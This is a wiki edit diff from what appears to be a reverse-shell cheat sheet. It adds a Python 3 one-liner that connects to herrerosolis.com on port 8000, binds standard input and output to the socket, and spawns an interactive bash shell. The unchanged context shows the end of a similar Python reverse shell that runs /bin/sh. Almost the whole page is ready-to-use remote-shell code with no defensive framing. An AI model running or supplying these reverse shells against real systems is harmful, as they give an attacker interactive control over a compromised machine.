Changes

Jump to navigation Jump to search
m
Line 28: Line 28:  
os.dup2(s.fileno(),2)
 
os.dup2(s.fileno(),2)
 
p=subprocess.call(["/bin/sh","-i"])
 
p=subprocess.call(["/bin/sh","-i"])
 +
</syntaxhighlight>
 +
 +
== Python 3 ==
 +
<syntaxhighlight lang="bash">
 +
python3 -c 'import socket,os,pty; s=socket.create_connection(("herrerosolis.com",8000)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; os.putenv("TERM","xterm-256color"); pty.spawn("/bin/bash")'
 
</syntaxhighlight>
 
</syntaxhighlight>
  

Navigation menu